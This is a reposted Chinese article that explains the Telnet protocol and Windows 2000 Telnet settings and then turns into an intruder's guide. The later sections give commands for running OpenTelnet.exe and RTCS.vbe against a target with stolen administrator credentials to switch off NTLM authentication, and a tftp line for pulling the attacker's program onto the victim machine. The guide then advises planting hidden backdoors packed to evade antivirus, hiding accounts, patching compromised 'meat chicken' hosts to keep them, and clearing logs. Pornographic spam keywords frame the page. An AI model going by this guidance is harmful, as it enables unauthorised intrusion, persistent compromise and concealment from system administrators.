欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

打開(kāi)APP
userphoto
未登錄

開(kāi)通VIP,暢享免費電子書(shū)等14項超值服

開(kāi)通VIP
Telnet 命令(協(xié)議)
作者:佚名  來(lái)源:不詳  發(fā)布時(shí)間:2006-12-18 11:14:05  發(fā)布人:qq818
一 . 摘要
Telnet 的應用不僅 方便了我們進(jìn)行遠程登錄, 也給 hacker 們提供了又一種入侵手段和后門(mén),但無(wú)論如何,在你盡情享受 Telnet 所帶給你的便捷的同時(shí),你是否真正的了解 Telnet 呢?
二 . 遠程登錄
Telnet 服務(wù)雖然也屬于客戶(hù)機 / 服務(wù)器模型的服務(wù),但它更大的意義在于實(shí)現了基于 Telnet 協(xié)議的遠程登錄(遠程交互式計算),那么就讓我們來(lái)認識一下遠程登錄。
1 遠程登陸的基本概念
先來(lái)看看什么叫登錄:分時(shí)系統允許多個(gè)用戶(hù)同時(shí)使用一臺計算機,為了保證系統的安全和記帳方便,系統要求每個(gè)用戶(hù)有單獨的賬號作為登錄標識,系統還為每個(gè)用戶(hù)指定了一個(gè)口令。用戶(hù)在使用該系統之前要輸入標識和口令,這個(gè)過(guò)程被稱(chēng)為 ‘ 登錄 ‘ 。
遠程登陸是指用戶(hù)使用 Telnet 命令,使自己的計算機暫時(shí)成為遠程主機的一個(gè)仿真終端的過(guò)程。 仿真終端等效于一個(gè)非智能的機器,它只負責把用戶(hù)輸入的每個(gè)字符傳遞給主機,再將主機輸出的每個(gè)信息回顯在屏幕上。
2 遠程登陸的產(chǎn)生及發(fā)展
我們可以先構想一個(gè)提供遠程文字編輯的服務(wù),這個(gè)服務(wù)的實(shí)現需要一個(gè)接受編輯文件請求和數據的服務(wù)器以及一個(gè)發(fā)送此請求的客戶(hù)機??蛻?hù)機將建立一個(gè)從本地機到服務(wù)器的 TCP 連接,當然這需要服務(wù)器的應答,然后向服務(wù)器發(fā)送鍵入的信息(文件編輯信息),并讀取從服務(wù)器返回的輸出。以上便是一個(gè)標準而普通的客戶(hù)機 / 服務(wù)器模型的服務(wù)。
似乎有了客戶(hù)機 / 服務(wù)器模型的服務(wù),一切遠程問(wèn)題都可以解決了。然而實(shí)際并非你想象的那樣簡(jiǎn)單,如果我們僅需要遠程編輯文件,那么剛才所構想的服務(wù)完全可以勝任,但假如我們的要求并不是這么簡(jiǎn)單,我們還想實(shí)現遠程用戶(hù)管理,遠程數據錄入,遠程系統維護,想實(shí)現一切可以在遠程主機上實(shí)現的操作,那么我們將需要大量專(zhuān)用的服務(wù)器程序并為每一個(gè)可計算服務(wù)都使用一個(gè)服務(wù)器進(jìn)程,隨之而來(lái)的問(wèn)題是:遠程機器會(huì )很快對服務(wù)器進(jìn)程應接不暇,并淹沒(méi)在進(jìn)程的海洋里(我們在這里排除最專(zhuān)業(yè)化的遠程機器)。
那么有沒(méi)有辦法解決呢?當然有,我們可以用遠程登錄來(lái)解決這一切。我們允許用戶(hù)在遠地機器上建立一個(gè)登錄會(huì )話(huà),然后通過(guò)執行命令來(lái)實(shí)現更一般的服務(wù),就像在本地操作一樣。這樣,我們便可以訪(fǎng)問(wèn)遠地系統上所有可用的命令,并且系統設計員不需提供多個(gè)專(zhuān)用地服務(wù)器程序。
問(wèn)題發(fā)展到這里好像前途一片光明了,用遠程登錄總應該解決問(wèn)題了吧,但要實(shí)現遠程登陸并不簡(jiǎn)單。不考慮網(wǎng)絡(luò )設計的計算機系統期望用戶(hù)只從直接相連的鍵盤(pán)和顯示器上登錄,在這種機器上增加遠程登陸功能需要修改機器的操作系統,這是極其艱巨也是我們盡量避免的。因此我們應該集中力量構造遠程登陸服務(wù)器軟件,雖然這樣也是比較困難的。為什么說(shuō)這樣做也比較困難呢?
舉個(gè)例子來(lái)說(shuō):一般,操作系統會(huì )為一些特殊按鍵分配特殊的含義,比如本地系統將 ‘Ctrl+C‘ 解釋為: ‘ 終止當前運行的命令進(jìn)程 ‘ 。但假設我們已經(jīng)運行了遠程登陸服務(wù)器軟件, ‘Ctrl+C‘ 也有可能無(wú)法被傳送到遠地機器,如果客戶(hù)機真的將 ‘Ctrl+C‘ 傳到了遠地機器,那么 ‘Ctrl+C‘ 這個(gè)命令有可能不能終止本地的進(jìn)程,也就是說(shuō)在這里很可能會(huì )產(chǎn)生混亂。而且這僅僅是遇到的難題之一。
但盡管有技術(shù)上的困難,系統編程人員還是設法構造了能夠應用于大多數操作系統的遠程登陸服務(wù)器軟件,并構造了充當客戶(hù)機的應用軟件。通常,客戶(hù)機軟件取消了除一個(gè)鍵以外的所有鍵的本地解釋?zhuān)⑦@些本地解釋相應的轉換成遠地解釋?zhuān)@就使得客戶(hù)機軟件與遠地機器的交互,就如同坐在遠程主機面前一樣,從而避免了上述所提到的混亂。而那個(gè)唯一例外的鍵,可以使用戶(hù)回到本地環(huán)境。
將遠程登陸服務(wù)器設計為應用級軟件,還有另一個(gè)要求,那就是需要操作系統提供對偽終端( pseudo terminal )的支持。我們用偽終端描述操作系統的入口點(diǎn),它允許像 Telnet 服務(wù)器一樣的程序向操作系統傳送字符,并且使得字符像是來(lái)自本地鍵盤(pán)一樣。只有使用這樣的操作系統,才能將遠程登陸服務(wù)器設計為應用級軟件(比如 Telnet 服務(wù)器軟件),否則,本地操作系統和遠地系統傳送將不能識別從對方傳送過(guò)來(lái)的信息(因為它們僅能識別從本地鍵盤(pán)所鍵入的信息),遠程登陸將宣告失敗。
將遠程登陸服務(wù)器設計為應用級軟件雖然有其顯著(zhù)的優(yōu)點(diǎn):比將代碼嵌入操作系統更易修改和控制服務(wù)器。但其也有效率不高的缺點(diǎn)(后面的內容將會(huì )給予解釋?zhuān)?,好在用?hù)鍵入信息的速率不高,這種設計還是可以接受的。
3 遠程登錄的工作過(guò)程
使用 Telnet 協(xié)議進(jìn)行遠程登陸時(shí)需要滿(mǎn)足以下條件:在本的計算機上必須裝有包含 Telnet 協(xié)議的客戶(hù)程序;必須知道遠程主機的 Ip 地址或域名;必須知道登錄標識與口令。
Telnet 遠程登錄服務(wù)分為以下 4 個(gè)過(guò)程:
1 )本地與遠程主機建立連接。該過(guò)程實(shí)際上是建立一個(gè) TCP 連接,用戶(hù)必須知道遠程主機的 Ip 地址或域名;
2 )將本地終端上輸入的用戶(hù)名和口令及以后輸入的任何命令或字符以 NVT ( Net Virtual Terminal )格式傳送到遠程主機。該過(guò)程實(shí)際上是從本地主機向遠程主機發(fā)送一個(gè) IP 數據報;
3 )將遠程主機輸出的 NVT 格式的數據轉化為本地所接受的格式送回本地終端,包括輸入命令回顯和命令執行結果;
4 )最后,本地終端對遠程主機進(jìn)行撤消連接。該過(guò)程是撤銷(xiāo)一個(gè) TCP 連接。
上面的內容只是討論了遠程登陸最基本的東西,其中的復雜和編程人員的艱辛是我們難以想象的,不知道你在舒服的使用 Telnet 的同時(shí),是否想到了這些!
三 .Telnet 協(xié)議
我們知道 Telnet 服務(wù)器軟件是我們最常用的遠程登錄服務(wù)器軟件,是一種典型的客戶(hù)機 / 服務(wù)器模型的服務(wù),它應用 Telnet 協(xié)議來(lái)工作。那么,什么是 Telnet 協(xié)議?它都具備哪些特點(diǎn)呢?
1 基本內容
Telnet 協(xié)議是 TCP/IP 協(xié)議族中的一員,是 Internet 遠程登陸服務(wù)的標準協(xié)議。應用 Telnet 協(xié)議能夠把本地用戶(hù)所使用的計算機變成遠程主機系統的一個(gè)終端。它提供了三種基本服務(wù):
1 ) Telnet 定義一個(gè)網(wǎng)絡(luò )虛擬終端為遠的系統提供一個(gè)標準接口??蛻?hù)機程序不必詳細了解遠的系統,他們只需構造使用標準接口的程序;
2 ) Telnet 包括一個(gè)允許客戶(hù)機和服務(wù)器協(xié)商選項的機制,而且它還提供一組標準選項;
3 ) Telnet 對稱(chēng)處理連接的兩端,即 Telnet 不強迫客戶(hù)機從鍵盤(pán)輸入,也不強迫客戶(hù)機在屏幕上顯示輸出。
2 適應異構
為了使多個(gè)操作系統間的 Telnet 交互操作成為可能,就必須詳細了解異構計算機和操作系統。比如,一些操作系統需要每行文本用 ASCII 回車(chē)控制符( CR )結束,另一些系統則需要使用 ASCII 換行符( LF ),還有一些系統需要用兩個(gè)字符的序列回車(chē) - 換行( CR-LF );再比如,大多數操作系統為用戶(hù)提供了一個(gè)中斷程序運行的快捷鍵,但這個(gè)快捷鍵在各個(gè)系統中有可能不同(一些系統使用 CTRL+C ,而另一些系統使用 ESCAPE )。如果不考慮系統間的異構性,那么在本地發(fā)出的字符或命令,傳送到遠地并被遠地系統解釋后很可能會(huì )不準確或者出現錯誤。因此, Telnet 協(xié)議必須解決這個(gè)問(wèn)題。
為了適應異構環(huán)境, Telnet 協(xié)議定義了數據和命令在 Internet 上的傳輸方式,此定義被稱(chēng)作網(wǎng)絡(luò )虛擬終端 NVT ( Net Virtual Terminal )。它的應用過(guò)程如下:
對于發(fā)送的數據:客戶(hù)機軟件把來(lái)自用戶(hù)終端的按鍵和命令序列轉換為 NVT 格式,并發(fā)送到服務(wù)器,服務(wù)器軟件將收到的數據和命令,從 NVT 格式轉換為遠地系統需要的格式;
對于返回的數據:遠地服務(wù)器將數據從遠地機器的格式轉換為 NVT 格式,而本地客戶(hù)機將將接收到的 NVT 格式數據再轉換為本地的格式。
對于 NVT 格式的詳細定義,有興趣的朋友可以去查找相關(guān)資料。
3 傳送遠地命令
我們知道絕大多數操作系統都提供各種快捷鍵來(lái)實(shí)現相應的控制命令,當用戶(hù)在本地終端鍵入這些快捷鍵的時(shí)候,本地系統將執行相應的控制命令,而不把這些快捷鍵作為輸入。那么對于 Telnet 來(lái)說(shuō),它是用什么來(lái)實(shí)現控制命令的遠地傳送呢?
Telnet 同樣使用 NVT 來(lái)定義如何從客戶(hù)機將控制功能傳送到服務(wù)器。我們知道 USASCII 字符集包括 95 個(gè)可打印字符和 33 個(gè)控制碼。當用戶(hù)從本地鍵入普通字符時(shí), NVT 將按照其原始含義傳送;當用戶(hù)鍵入快捷鍵(組合鍵)時(shí), NVT 將把它轉化為特殊的 ASCII 字符在網(wǎng)絡(luò )上傳送,并在其到達遠地機器后轉化為相應的控制命令。將正常 ASCII 字符集與控制命令區分主要有兩個(gè)原因:
1 )這種區分意味著(zhù) Telnet 具有更大的靈活性:它可在客戶(hù)機與服務(wù)器間傳送所有可能的 ASCII 字符以及所有控制功能;
2 )這種區分使得客戶(hù)機可以無(wú)二義性的指定信令,而不會(huì )產(chǎn)生控制功能與普通字符的混亂。
4 數據流向
上面我們提到過(guò)將 Telnet 設計為應用級軟件有一個(gè)缺點(diǎn),那就是:效率不高。這是為什么呢?下面給出 Telnet 中的數據流向:
數據信息被用戶(hù)從本地鍵盤(pán)鍵入并通過(guò)操作系統傳到客戶(hù)機程序,客戶(hù)機程序將其處理后返回操作系統,并由操作系統經(jīng)過(guò)網(wǎng)絡(luò )傳送到遠地機器,遠地操作系統將所接收數據傳給服務(wù)器程序,并經(jīng)服務(wù)器程序再次處理后返回到操作系統上的偽終端入口點(diǎn),最后,遠地操作系統將數據傳送到用戶(hù)正在運行的應用程序,這便是一次完整的輸入過(guò)程;輸出將按照同一通路從服務(wù)器傳送到客戶(hù)機。
因為每一次的輸入和輸出,計算機將切換進(jìn)程環(huán)境好幾次,這個(gè)開(kāi)銷(xiāo)是很昂貴的。還好用戶(hù)的鍵入速率并不算高,這個(gè)缺點(diǎn)我們仍然能夠接受。
5 強制命令
我們應該考慮到這樣一種情況:假設本地用戶(hù)運行了遠地機器的一個(gè)無(wú)休止循環(huán)的錯誤命令或程序,且此命令或程序已經(jīng)停止讀取輸入,那么操作系統的緩沖區可能因此而被占滿(mǎn),如果這樣,遠地服務(wù)器也無(wú)法再將數據寫(xiě)入偽終端,并且最終導致停止從 TCP 連接讀取數據, TCP 連接的緩沖區最終也會(huì )被占滿(mǎn),從而導致阻止數據流流入此連接。如果以上事情真的發(fā)生了,那么本地用戶(hù)將失去對遠地機器的控制。
為了解決此問(wèn)題, Telnet 協(xié)議必須使用外帶信令以便強制服務(wù)器讀取一個(gè)控制命令。我們知道 TCP 用緊急數據機制實(shí)現外帶數據信令,那么 Telnet 只要再附加一個(gè)被稱(chēng)為數據標記 (date mark) 的保留八位組,并通過(guò)讓 TCP 發(fā)送已設置緊急數據比特的報文段通知服務(wù)器便可以了,攜帶緊急數據的報文段將繞過(guò)流量控制直接到達服務(wù)器。作為對緊急信令的相應,服務(wù)器將讀取并拋棄所有數據,直到找到了一個(gè)數據標記。服務(wù)器在遇到了數據標記后將返回正常的處理過(guò)程。
6 選項協(xié)商
由于 Telnet 兩端的機器和操作系統的異構性,使得 Telnet 不可能也不應該嚴格規定每一個(gè) telnet 連接的詳細配置,否則將大大影響 Telnet 的適應異構性。因此, Telnet 采用選項協(xié)商機制來(lái)解決這一問(wèn)題。
Telnet 選項的范圍很廣:一些選項擴充了大方向的功能,而一些選項制涉及一些微小細節。例如:有一個(gè)選項可以控制 Telnet 是在半雙工還是全雙工模式下工作(大方向);還有一個(gè)選項允許遠地機器上的服務(wù)器決定用戶(hù)終端類(lèi)型(小細節)。
Telnet 選項的協(xié)商方式也很有意思,它對于每個(gè)選項的處理都是對稱(chēng)的,即任何一端都可以發(fā)出協(xié)商申請;任何一端都可以接受或拒絕這個(gè)申請。另外,如果一端試圖協(xié)商另一端不了解的選項,接受請求的一端可簡(jiǎn)單的拒絕協(xié)商。因此,有可能將更新,更復雜的 Telnet 客戶(hù)機服務(wù)器版本與較老的,不太復雜的版本進(jìn)行交互操作。如果客戶(hù)機和服務(wù)器都理解新的選項,可能會(huì )對交互有所改善。否則,它們將一起轉到效率較低但可工作的方式下運行。所有的這些設計,都是為了增強適應異構性,可見(jiàn) Telnet 的適應異構性對其的應用和發(fā)展是多么重要。
上面討論了一些原理方面的東西,雖然我們在 Telnet 的使用過(guò)程中很難接觸到這一層面,但我認為了解這些是有意義的,它會(huì )給我們帶來(lái)許多啟示。下面讓我們來(lái)看看 Win2000 的 Telnet 服務(wù)。
四 .Win2000 的 Telnet 服務(wù)
其實(shí)從應用層面上, Win2000 的 Telnet 服務(wù)并沒(méi)有什么可說(shuō)的,絕大部分內容你都可以從 HELP 文件中得到,我在此只是把它稍微整理一下而已。
1 基本配置
Win2000 為我們提供了 Telnet 客戶(hù)機和服務(wù)器程序: Telnet.exe 是客戶(hù)機程序( Client ), tlntsvr.exe 是服務(wù)器程序( server ),同時(shí)它還為我們提供了 Telnet 服務(wù)器管理程序 tlntadmn.exe 。
Windows 2000 默認安裝了 Telnet 服務(wù),但是并沒(méi)有默認啟動(dòng)。下面給出 HELP 文件中 Telnet 服務(wù)的一部分默認設置:
AllowTrustedDomain :是否允許域用戶(hù)訪(fǎng)問(wèn)。默認值是 1 ,允許信任域用戶(hù)訪(fǎng)問(wèn)??梢愿臑?0: 不允許域用戶(hù)訪(fǎng)問(wèn)(只允許本地用戶(hù))。
DefaultDomain :可以對與該計算機具有信任關(guān)系的任何域設置。默認值是 "." 。
DefaultShell :顯示 shell 安裝的路徑位置。默認值是: %systemroot%\System32\Cmd.exe /q /k
MaxFailedLogins :在連接終止之前顯示嘗試登錄失敗的最大次數。默認是 3 。
LoginScr ip t :顯示 Telnet 服務(wù)器登錄腳本的路徑位置。默認的位置就是“ %systemroot%\System32\login.cmd ”,你可以更改腳本內容,這樣登錄進(jìn) Telnet 的歡迎屏幕就不一樣了。
NTLM : NTLM 身份驗證選項。默認是 2 ??梢杂邢旅孢@些值:
0: 不使用 NTLM 身份驗證。
1: 先嘗試 NTLM 身份驗證,如果失敗,再使用用戶(hù)名和密碼。
2: 只使用 NTLM 身份驗證。
TelnetPort :顯示 telnet 服務(wù)器偵聽(tīng) telnet 請求的端口。默認是: 23 。你也可以更改為其他端口。
以上各項設置你可以使用 tlntadmn.exe ( Telnet 服務(wù)器管理程序)來(lái)進(jìn)行非常方便的配置,配置后需要重新啟動(dòng) Telnet 服務(wù)。如圖 1
2 NTLM
提到了 telnet 就不能不提 NTLM ,我想這也是讓入侵者最為頭痛的一件事,哪怕你獲得了管理員賬號和密碼,想簡(jiǎn)單通過(guò) NTLM 也并非易事,況且 win2000 中的 telnet 默認僅以 NTLM 方式驗證身份,這就讓我們不得不關(guān)注 NTLM 這個(gè)東東,那么什么是 NTLM 呢?
早期的 SMB 協(xié)議在網(wǎng)絡(luò )上明文傳輸口令,后來(lái)出現了 "LAN Manager Challenge/Response" 驗證機制,簡(jiǎn)稱(chēng) LM ,它十分簡(jiǎn)單以至很容易被破解,微軟隨后提出了WindowsNT 挑戰 / 響應驗證機制,即 NTLM ?,F在已經(jīng)有了更新的 NTLMv2 以及 Kerberos 驗證體系。 NTLM 工作流程是這樣的:
1 、客戶(hù)端首先在本地加密當前用戶(hù)的密碼成為密碼散列
2 、客戶(hù)端向服務(wù)器發(fā)送自己的賬號,這個(gè)賬號是沒(méi)有經(jīng)過(guò)加密的,明文直接傳輸
3 、服務(wù)器產(chǎn)生一個(gè) 16 位的隨機數字發(fā)送給客戶(hù)端,作為一個(gè) challenge (挑戰)
4 、客戶(hù)端再用加密后的密碼散列來(lái)加密這個(gè) challenge ,然后把這個(gè)返回給服務(wù)器。作為 response (響應)
5 、服務(wù)器把用戶(hù)名、給客戶(hù)端的 challenge 、客戶(hù)端返回的 response 這三個(gè)東西,發(fā)送域控制器
6 、域控制器用這個(gè)用戶(hù)名在 SAM 密碼管理庫中找到這個(gè)用戶(hù)的密碼散列,然后使用這個(gè)密碼散列來(lái)加密 challenge 。
7 、域控制器比較兩次加密的 challenge ,如果一樣,那么認證成功。
從上面的過(guò)程我們可以看出, NTLM 是以當前用戶(hù)的身份向 Telnet 服務(wù)器發(fā)送登錄請求的,而不是用你掃到的對方管理員的帳戶(hù)和密碼登錄,顯然,你的登錄將會(huì )失敗。舉個(gè)例子來(lái)說(shuō),你家的機器名為 A (本地機器),你入侵的機器名為 B (遠地機器),你在 A 上的帳戶(hù)是 xinxin ,密碼是 1234 ,你掃到 B 的管理員賬號是 Administrator ,密碼是 5678 ,當你想 Telnet 到 B 時(shí), NTLM 將自動(dòng)以當前用戶(hù)的賬號和密碼作為登錄的憑據來(lái)進(jìn)行上面的 7 項操作,即用 xinxin 和 1234 ,而并非用你掃到的 Administrator 和 5678 ,且這些都是自動(dòng)完成的,根本不給你插手的機會(huì ),因此你的登錄操作將失敗。
由于 Telnet 服務(wù)器對 NTLM 的使用有 3 個(gè)選項,所以當你 Telnet 遠地機器時(shí),會(huì )顯示下面情況中的一種:
1) 身份驗證選項 =0 時(shí)
=====================================
Microsoft (R)Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\ 為 0 時(shí)不使用 NTML 身份驗證,直接輸入用戶(hù)名和密碼,比如你可以輸入掃到的 Administrator 和 5678
2) 身份驗證選項 =1 時(shí)
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft (R)Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\ 先嘗試 NTLM 身份驗證,如果失敗,再使用用戶(hù)名和密碼,其實(shí)這種方式對于我們來(lái)說(shuō),與上一種方式?jīng)]什么區別
3) 身份驗證選項 =2 時(shí)
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遺失對主機的連接。
C:\>
\\ 仔細看看上面的顯示,根本沒(méi)有給你輸入用戶(hù)名和密碼的機會(huì ),直接斷開(kāi)連接,掃到了密碼也是白掃
所以對于入侵者來(lái)說(shuō), NTLM 是橫在我們面前的一座大山,必須要除掉它,一般我們有如下幾種方法:
1 通過(guò)修改遠程注冊表更改 telnet 服務(wù)器配置,將驗證方式從 2 改為 1 或 0 ;
2 使用 NTLM.exe ,上傳后直接運行,可將 telnet 服務(wù)器驗證方式從 2 改為 1 ;
3 在本地建立掃描到的用戶(hù),以此用戶(hù)身份開(kāi)啟 telnet 客戶(hù)機并進(jìn)行遠程登錄;
4 使用軟件,比如 open telnet .exe (需要管理員權限且開(kāi)啟 IPC 管道)
5 使用腳本,如 RTCS ,(需要管理員權限但不依賴(lài) IPC 管道)
基本上是以上的 5 種,其中后兩種是我們比較常用的開(kāi) telnet 的手法,而且使用方法十分簡(jiǎn)單,命令如下:
OpenTelnet.exe \\server username password NTLMAuthor telnet port
OpenTelnet.exe \\ 服務(wù)器地址 管理員用戶(hù)名 密碼 驗證方式(填 0 或 1 ) telnet 端口
cscr ip t RTCS.vbe targetIP username password NTLMAuthor telnet port
cscr ip t RTCS.vbe < 目標 IP> < 管理員用戶(hù)名 > < 密碼 > < 驗證方式 > <tlnet 端口 >
五 . 在 telnet 中該做什么
本來(lái)寫(xiě)到上面就想結束了,不過(guò)許多朋友都說(shuō) telnet 上去后不知道該做什么了,既然這樣,那我就拋磚引玉吧,這次不講具體做法,只是說(shuō)說(shuō)思路,什么?為什么不講具體做法?篇幅不夠嘛,以后我會(huì )一一解釋的。
1 查看系統信息
呵呵,其實(shí)就是隨處看看,看看他的系統配置和版本(用 type c:\boot.ini 來(lái)知道 pro 版或 server 版),看看都裝了什么服務(wù)或軟件(從目錄名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是國外的機器,看也看不懂),看看他的用戶(hù)情況,總之就是盡可能多的了解系統,為一會(huì )裝后門(mén)摸底。
2 使用 tftp 傳送文件
想必大家都遇到過(guò)在 telnet 中傳輸文件的問(wèn)題,因為我們習慣了在 ip c 管道中的文件傳輸,所以有些朋友喜歡用 net share ip c$ 來(lái)打開(kāi)管道,進(jìn)而利用 copy 來(lái)傳輸文件。不過(guò)這樣反而麻煩,既然我們已經(jīng)得到了 shell ,我們可以用 TFPT 命令來(lái)完成這一切,什么是 TFTP 呢?
用 TFTP(Trivial File Transfer Protocol) 來(lái)實(shí)現文件的傳送是一種基于 UDP 連接的文件傳輸,一般是使用Windows 自帶的 tftp.exe 和一個(gè) TFTP 服務(wù)器端軟件構成一個(gè)完整的傳輸結構。它是這樣使用的: 首先運行本地的 TFTP Server (比如 tftpd32.exe )軟件并保證始終開(kāi)啟直至傳輸全部完成, 然后在 telnet 中(當然你也可以在其他 shell 中)運行下面的命令:
C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe 其中 ip 為你自己機器的 ip ,且上傳文件要與 TFTP 服務(wù)器端在同一目錄下,這樣你就可以把 xinxin.exe 上傳到 c 盤(pán) abc 目錄下了(其實(shí)是從 tftp 服務(wù)器下載來(lái)的)
需要指出的是,如果使用代理 IP ,你將不能實(shí)現與外部網(wǎng)絡(luò )的文件傳送。因為你的代理網(wǎng)關(guān)在進(jìn)行數據封裝的時(shí)候會(huì )將自己的 IP 地址加入到你的數據報中,代替你的內部網(wǎng)絡(luò )地址,所以在外部網(wǎng)絡(luò )進(jìn)行 MAC 尋址時(shí)是找不到你這臺 TFTP 服務(wù)器的。
3 安置后門(mén)
安置后門(mén)放在第二步好像早了點(diǎn),如果你入侵還有其他目的,比如以破壞為主,或者是來(lái)修改主頁(yè)的,那么這些事情當然可以在安置后門(mén)之前做;如果你只是想得到一只肉雞,那就沒(méi)什么可說(shuō)的了,安后門(mén)吧。
后門(mén)的種類(lèi)繁多,也給我們提供了很大的選擇余地,能夠根據具體情況選擇合適的后門(mén)的確是一門(mén)學(xué)問(wèn)。常用的后門(mén)一般有:木馬, asp 木馬,遠程控制軟件,克隆帳戶(hù),建立并隱藏帳戶(hù), telnet , telnet 擴展的 shell ,終端服務(wù)等。安置一個(gè)好的后門(mén)通常要注意以下幾點(diǎn):
1 不會(huì )被防火墻查殺及阻礙通信:被加入病毒庫的后門(mén)最好加殼以逃過(guò)防火墻,盡量用低端口通信,以免被防火墻屏蔽。
2 最大限度增加隱蔽性:如果你選擇遠程控制軟件,要注意被控端的安裝提示和小圖標,以及是否同步畫(huà)面;如果你在帳戶(hù)上做文章,要盡量保持在 cmd 和用戶(hù)管理中都不出破綻;如果你選擇放木馬或 telnet 擴展,要注意文件和進(jìn)程的隱藏;如果新開(kāi)了終端服務(wù)(入侵前并沒(méi)有開(kāi)),一定要該掉 3389 這個(gè)顯眼的端口,且越低越好。
3 不要當管理員不存在:這是一個(gè)大忌,許多朋友在只有默認帳戶(hù)的機器上建立類(lèi)似 ‘hacking‘ 的管理員帳戶(hù),真是無(wú)知者無(wú)畏呀。所以安置后門(mén)的時(shí)候,想想管理員疏忽的地方會(huì )在哪里。
4 打補丁
如果想獨霸肉雞,就要會(huì )打補丁,要知道對肉雞的競爭是很激烈的。怎么打補丁呢?這個(gè)也要問(wèn)?想想你是怎么進(jìn)來(lái)的吧。算了,提示一下,除了修補大的漏洞以外(上傳官方補丁并運行),也要注意它的共享, ipc$ 共享(最好都關(guān)閉),可疑端口,容易被利用的服務(wù)等。不過(guò)打補丁也要注意隱蔽性的,不要讓管理員發(fā)現大的改動(dòng)。
5 清除日志
可以手動(dòng)或利用軟件,如果不太會(huì )就去找相關(guān)教材吧。
本站僅提供存儲服務(wù),所有內容均由用戶(hù)發(fā)布,如發(fā)現有害或侵權內容,請點(diǎn)擊舉報。
打開(kāi)APP,閱讀全文并永久保存 查看更多類(lèi)似文章
猜你喜歡
類(lèi)似文章
TELNET協(xié)議
telnet命令大全
使用windows腳本入侵WINDOWS服務(wù)器
telnet
Archie服務(wù)器
如何測試遠程服務(wù)器的某個(gè)端口是否打開(kāi)?
更多類(lèi)似文章 >>
生活服務(wù)
分享 收藏 導長(cháng)圖 關(guān)注 下載文章
綁定賬號成功
后續可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服

欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久